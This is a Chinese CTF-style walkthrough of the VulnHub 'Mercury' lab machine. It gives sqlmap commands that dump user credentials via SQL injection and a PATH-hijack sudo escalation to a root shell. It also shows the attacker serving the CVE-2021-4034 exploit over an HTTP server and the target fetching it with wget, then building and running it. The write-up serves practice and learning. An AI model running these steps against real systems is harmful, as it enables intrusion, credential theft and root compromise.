Vulnhub项目:THE PLANETS: MERCURY

1、靶场地址

The Planets: Mercury ~ VulnHubThe Planets: Mercury, made by SirFlash. Download & walkthrough links are available.icon-default.png?t=N7T8https://vulnhub.com/entry/the-planets-mercury,544/

这好像是个系列的,关于星球系列,之前还做过一个地球的,有兴趣的可以看看!Vulnhub项目:Earth_vulnhub earth-CSDN博客文章浏览阅读714次。Vulnhub项目:Earth_vulnhub earthhttps://blog.csdn.net/weixin_43938645/article/details/130265310?spm=1001.2014.3001.5501

2、渗透过程

搞起!确认目标 56.165,本机 56.160,nmap 探测开放端口。

开放 22 和 8080 端口,访问 8080,没啥东西,那就扫个目录看看 

只有个 robots.txt 

访问一下,啥都没有 

尝试 index.html,发现了报错提醒,有个新的路径。

 访问新路径后发现了一张图和两个链接,随便点一点观察一下。

访问 load a fact 后发现这块的 id 有东西 。

 

经过几次尝试发现这块应该有 sql 注入 。

打个单引号,果然,如下图所示

 sqlmap 启动,具体命令如下,基础操作! 

sqlmap -u http://192.168.56.165:8080/mercuryfacts/1 --dbs --batch

sqlmap -u http://192.168.56.165:8080/mercuryfacts/1 -D mercury --tables --batch
sqlmap -u http://192.168.56.165:8080/mercuryfacts/1 -D mercury -T users --columns --batch

sqlmap -u http://192.168.56.165:8080/mercuryfacts/1 -D mercury -T users -C username,password --dump --batch

发现用户名和密码。用这些用户名和密码去尝试 ssh,也可以用 hydra 去爆破 ssh。 

经过测试发现只有最后一个可以登上。

进入后,首先发现了 user_flag,还发现了个文件夹,里面有提示 

这两个怎么看怎么像个用户名和密码,只不过密码是base64 加密了

那就解密下下面的用户,很好,出来了,下面去连接这个 linuxmaster 用户,当然也可以之间在 webmaster 用户那 su 一下 

找了一下,没啥东西,那就提权一下。这里有两种方式提权,首先介绍第一种,利用 sudo -l,进行环境变量提权。可以看看这个 sh 文件是怎么写的。

他这是用 tail 命令去做了个操作,那可以自己做一个 tail 二进制程序,然后把它的环境变量设置一下,应用新的环境变量,用这个环境变量下的 tail 去执行这个 sh 文件。 

echo "/bin/bash" > tail

chmod 777 tail

export PATH=.:$PATH

sudo --preserve-env=PATH /usr/bin/check_syslog.sh

啪的一下,肉特root了,获取了 root_flag。就很舒服!  

下面是第二种方式,利用 suid 去提权。输入下面的命令去找具有 suid 的文件。 

find / -perm -4000 -type f 2>/dev/null

好巧不巧,发现了个这个,我以前文章有对这个 cve 进行分析CVE-2021-4034漏洞原理解析-CSDN博客文章浏览阅读8k次,点赞5次,收藏14次。本篇文章主要分析了CVE-2021-4034漏洞,同时介绍了相关知识点以及使用方法,漏洞复现在前渗透测试(七)中体现,记录自己学习过程。_cve-2021-4034https://blog.csdn.net/weixin_43938645/article/details/127924107 下载,打包,开启 web 服务,让靶机把这个 cve 下载到靶机上,然后解压一下。

GitHub - berdav/CVE-2021-4034: CVE-2021-4034 1day

git clone到本地打包

tar -czvf CVE-2021-4034.tar.gz CVE-2021-4034

python3 -m http.server 8099

靶机linuxmaster   wget一下,解压,tar -xvf CVE-2021-4034.tar.gz

 

那下面就简单多了!!! 

进到这个文件夹下,make 一下 

生成了 cve-2021-4034,之间运行就可返回 root,提权成功!!!! 

这个 cve 用户还是挺广的,后面还有个类似的靶机,也是用这个 cve,当然还有其他的方式,正在做其他的方式提权,缓冲区溢出,搞起!

这个靶机算是用两种方式拿下了,希望各位看官继续关注后续文章,哈哈哈,请点赞!!哈哈!!

3、思路总结

接下来总结下思路,从 web 开始思路基本上差不多,用 sql 注入当做切入点,获取用户名和密码,然后进行 ssh 连接,进入系统后,去发现相关文件。进一步深入提权,两种方式,说不定还有更多方式,可以多尝试尝试,没事,靶机么,随便搞,又打不坏,大不了重装!!!

坚持每天能做两台,更新两篇文章,朴实无华的一天就这么度过了,还有不到一个月就得撤了,有点舍不得呢xd!!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/21765.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

滑动窗口最大值-力扣

在做这道题时,首先想到的解法是使用队列来做,维护一个队列,每次保存滑动窗口大小的长度,并判断此时队列中的最大值,但这样做,在k的值较大时,出现了超时问题,代码如下: c…

STM32-15-DMA

STM32-01-认识单片机 STM32-02-基础知识 STM32-03-HAL库 STM32-04-时钟树 STM32-05-SYSTEM文件夹 STM32-06-GPIO STM32-07-外部中断 STM32-08-串口 STM32-09-IWDG和WWDG STM32-10-定时器 STM32-11-电容触摸按键 STM32-12-OLED模块 STM32-13-MPU STM32-14-FSMC_LCD 文章目录 STM…

[原创][Delphi多线程]TThreadedQueue的经典使用案例.

[简介] 常用网名: 猪头三 出生日期: 1981.XX.XX QQ: 643439947 个人网站: 80x86汇编小站 https://www.x86asm.org 编程生涯: 2001年~至今[共22年] 职业生涯: 20年 开发语言: C/C、80x86ASM、PHP、Perl、Objective-C、Object Pascal、C#、Python 开发工具: Visual Studio、Delph…

悉数六大设计原则

悉数六大设计原则 目录 悉数六大设计原则前言☕谁发明了设计模式设计原则设计原则与设计模式的关系 单一职责什么是单一职责不遵循单一职责原则的设计遵循单一职责原则的设计单一职责的优点示例代码: 里氏替换原则什么是里氏替换原则示例代码:违反里氏替…

解读信创产业根基,操作系统发展历程

信创产业根基之一操作系统 操作系统是一个关键的控制程序,负责协调、管理和控制计算机硬件和软件资源。作为硬件的首要软件扩展,它位于裸机与用户之间,充当了两者之间的桥梁。通过其核心程序,操作系统高效地管理着系统中的各类资源…

static修饰变量和函数

static修饰的变量和函数只能在定义它的cpp源文件中使用,如果在头文件中定义,则需要注意 在头文件中定义static变量和static函数: 变量 如果在头文件中定义了static变量,那么,所有包含这个头文件的源文件都会定义自己…

vm-bhyve虚拟机安装ubuntu22版本后进入grub无法启动

问题:安装ubuntu22版本后无法启动 安装好ubuntu22之后,重启进入了grub模式,没有自动启动ubuntu 网上查了一下,这算一个通病。 问题解决 在grub模式下输入boot命令: boot (lvm/ubuntu--vg-ubuntu--lv)/boot error: …

有哪些兼职软件一天能赚几十元?盘点十个能长期做下去的挣钱软件

在当今这个信息泛滥的时代,众人纷纷寻求迅速致富的捷径。许多人在从事兼职或副业时,并不期望取得巨大的成就,只要每天能额外收入数十元,便已心满意足。 今天,我将带领大家深入探究,揭开那些隐藏在日常生活…

【小海实习日记】Git使用规范

1.Git使用流程 1.1 从master分支拉一个分支,命名要符合规范且清晰。 1.2 commit到本地,push 到远端。 1.3 在Gitlab创建MR,选择develp分支。 1.4 如果要修改的话,先把Gitlab上的MR修改为Draft(修改态),然后在本地修改代…

Dubbo中的Invoker与Exporter机制详解

Dubbo作为一款成熟的高性能、轻量级的Java RPC框架,其核心机制之一便是Invoker与Exporter机制,它们在服务提供端和服务消费端扮演着至关重要的角色,是实现服务调用和管理的基础。下面将详细解析这两个核心组件的工作原理及其在Dubbo框架中的作…

9.1.1 简述目标检测领域中的单阶段模型和两阶段模型的性能差异及其原因

9.1目标检测 场景描述 目标检测(Object Detection)任务是计算机视觉中极为重要的基础问题,也是解决实例分割(Instance Segmentation)、场景理解(Scene Understanding)、目标跟踪(Ob…

详解 Spark SQL 代码开发之用户自定义函数

一、UDF 一进一出函数 /**语法:SparkSession.udf.register(func_name: String, op: T > K) */ object TestSparkSqlUdf {def main(args: Array[String]): Unit {// 创建 sparksql 环境对象val conf new SparkConf().setMaster("local[*]").setAppNam…

subline text3安装numpy,scipy,matplotlib,pandas,sklearn,ipynb

1,numpy(基础数值算法) 安装,要是在cmd直接安装到最后会报错, import numpy as np ModuleNotFoundError: No module named numpy 直接进入python环境,输入python -m pip install numpy就不会报错…

【SringBoot项目中MyBatis-Plus多数据源应用实践】

文章目录 前言 一、Mybatis-Plus是什么? 二、多数据源是什么? 三、使用步骤 1. 新建一个SpringBoot项目 2. 引入必要的MyBatis架包 3. 新建两个数据库及两张表 3.3.1 新建数据库:DB_A,并创建一张数据表alarm_kind,以及…

云端数据提取:安全、高效地利用无限资源

在当今的大数据时代,企业和组织越来越依赖于云平台存储和处理海量数据。然而,随着数据的指数级增长,数据的安全性和高效的数据处理成为了企业最为关心的议题之一。本文将探讨云端数据安全的重要性,并提出一套既高效又安全的数据提…

浅测 长亭雷池 WAF “动态防护”

本文首发于 Anyeの小站 前言 雷池 WAF 社区版的更新速度是真快啊,几乎一周一个小版本,俩月一个大版本,攻城狮们真的狠啊,没法测了。 废话不多说,前两天看到了 这篇文章,对雷池的“动态防护”功能挺感兴趣…

Android应用的基本构造及威胁(apk)

目录 APK文件是什么 apk文件解压后的目录结构 apk文件的存储位置

去掉el-table表头右侧类名是gutter,width=17px的空白区域(包括表头样式及表格奇偶行样式和表格自动滚动)

代码如下&#xff1a; <el-table:data"tableData"ref"scroll_Table":header-cell-style"getRowClass":cell-style"styleBack"height"350px"style"width: 100%"><el-table-column prop"id" l…

Scrum团队在迭代中如何处理计划外的工作

认为 Scrum 团队不做计划其实是一个误区&#xff0c;实际上很多 Scrum 团队在冲刺计划会议以及在细化工作项时均会进行详细规划。此外&#xff0c;他们还会创建一个路线图&#xff0c;以便显示他们在多个冲刺中的计划。 Scrum 团队需要经常进行计划&#xff0c;以便在不断变化…

linux学习:进程

目录 例子1 获取当前进程的进程标识符 例子2 创建一个新的子进程 例子3 展示了父进程和子进程的进程标识符 例子4 区分父进程和子进程 例子5 区分父进程和子进程的行为 例子6 比较进程标识符来区分父进程和子进程 例子7 子进程如何修改一个变量&…